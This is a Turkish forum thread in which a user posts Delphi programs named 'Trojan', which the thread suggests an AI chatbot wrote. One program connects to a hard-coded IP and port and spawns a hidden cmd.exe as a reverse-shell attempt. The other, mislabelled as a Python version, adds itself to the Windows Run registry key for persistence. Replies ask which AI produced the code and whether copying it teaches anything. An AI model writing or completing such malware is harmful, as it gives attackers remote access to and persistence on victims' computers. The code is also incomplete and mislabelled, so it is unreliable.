open ai trojan yazdırma

kozw' Alıntı:

bu delphi kodları

program Trojan;

{$APPTYPE CONSOLE}

uses
Windows, WinSock;

const
SERVER_PORT = 1234; // Bağlantı yapılacak port numarası
SERVER_IP = '192.168.0.100'; // Bağlantı yapılacak IP adresi

var
WinSockData: TWSAData;
ClientSocket: TSocket;
ClientAddress: TSockAddrIn;
ExecInfo: TStartupInfo;
ProcInfo: TProcessInformation;
begin
if WSAStartup(MAKEWORD(2, 2), WinSockData) <> 0 then
begin
Exit;
end;

ClientSocket := socket(AF_INET, SOCK_STREAM, IPPROTO_TCP);
if ClientSocket = INVALID_SOCKET then
begin
Exit;
end;

ZeroMemory(@ClientAddress, SizeOf(TSockAddrIn));
ClientAddress.sin_family := AF_INET;
ClientAddress.sin_addr.S_addr := inet_addr(PChar(SERVER_IP));
ClientAddress.sin_port := htons(SERVER_PORT);

if connect(ClientSocket, ClientAddress, SizeOf(ClientAddress)) <> 0 then
begin
Exit;
end;

ZeroMemory(@ExecInfo, SizeOf(TStartupInfo));
ExecInfo.cb := SizeOf(TStartupInfo);
ExecInfo.dwFlags := STARTF_USESHOWWINDOW;
ExecInfo.wShowWindow := SW_HIDE;

if CreateProcess(nil, 'cmd.exe', nil, nil, False, 0, nil, nil, ExecInfo, ProcInfo) then
begin
WaitForSingleObject(ProcInfo.hProcess, INFINITE);
CloseHandle(ProcInfo.hProcess);
CloseHandle(ProcInfo.hThread);
end;

closesocket(ClientSocket);
WSACleanup;
end.


buda python hali

program Trojan;

{$APPTYPE CONSOLE}

uses
Windows;

var
Key: String;
StartupKey: HKEY;
begin
Key := 'Software\Microsoft\Windows\CurrentVersion\Run\';
if RegOpenKey(HKEY_CURRENT_USER, PChar(Key), StartupKey) = ERROR_SUCCESS then
begin
RegSetValueEx(StartupKey, 'Trojan', 0, REG_SZ, PChar(ParamStr(0)), Length(ParamStr(0)) * SizeOf(Char));
RegCloseKey(StartupKey);
end;
end.

Genişletmek için tıkla ...

k3ll3ci' Alıntı:

merhaba dostum bu kodları hangi yapay zekaya yazdırdım söyler misi

Genişletmek için tıkla ...

*Eroğlu' Alıntı:

Hazırda bir kod yazdırmak ne kadar öğrenmeye açık sence?

Genişletmek için tıkla ...

kozw' Alıntı:

bu delphi kodları

program Trojan;

{$APPTYPE CONSOLE}

uses
Windows, WinSock;

const
SERVER_PORT = 1234; // Bağlantı yapılacak port numarası
SERVER_IP = '192.168.0.100'; // Bağlantı yapılacak IP adresi

var
WinSockData: TWSAData;
ClientSocket: TSocket;
ClientAddress: TSockAddrIn;
ExecInfo: TStartupInfo;
ProcInfo: TProcessInformation;
begin
if WSAStartup(MAKEWORD(2, 2), WinSockData) <> 0 then
begin
Exit;
end;

ClientSocket := socket(AF_INET, SOCK_STREAM, IPPROTO_TCP);
if ClientSocket = INVALID_SOCKET then
begin
Exit;
end;

ZeroMemory(@ClientAddress, SizeOf(TSockAddrIn));
ClientAddress.sin_family := AF_INET;
ClientAddress.sin_addr.S_addr := inet_addr(PChar(SERVER_IP));
ClientAddress.sin_port := htons(SERVER_PORT);

if connect(ClientSocket, ClientAddress, SizeOf(ClientAddress)) <> 0 then
begin
Exit;
end;

ZeroMemory(@ExecInfo, SizeOf(TStartupInfo));
ExecInfo.cb := SizeOf(TStartupInfo);
ExecInfo.dwFlags := STARTF_USESHOWWINDOW;
ExecInfo.wShowWindow := SW_HIDE;

if CreateProcess(nil, 'cmd.exe', nil, nil, False, 0, nil, nil, ExecInfo, ProcInfo) then
begin
WaitForSingleObject(ProcInfo.hProcess, INFINITE);
CloseHandle(ProcInfo.hProcess);
CloseHandle(ProcInfo.hThread);
end;

closesocket(ClientSocket);
WSACleanup;
end.


buda python hali

program Trojan;

{$APPTYPE CONSOLE}

uses
Windows;

var
Key: String;
StartupKey: HKEY;
begin
Key := 'Software\Microsoft\Windows\CurrentVersion\Run\';
if RegOpenKey(HKEY_CURRENT_USER, PChar(Key), StartupKey) = ERROR_SUCCESS then
begin
RegSetValueEx(StartupKey, 'Trojan', 0, REG_SZ, PChar(ParamStr(0)), Length(ParamStr(0)) * SizeOf(Char));
RegCloseKey(StartupKey);
end;
end.

Genişletmek için tıkla ...

darkwebin65.katı' Alıntı:

trojen kodları bu kadar kısa mı? yazılmasının bir kaç ay aldığını söylüyorlardı.

Genişletmek için tıkla ...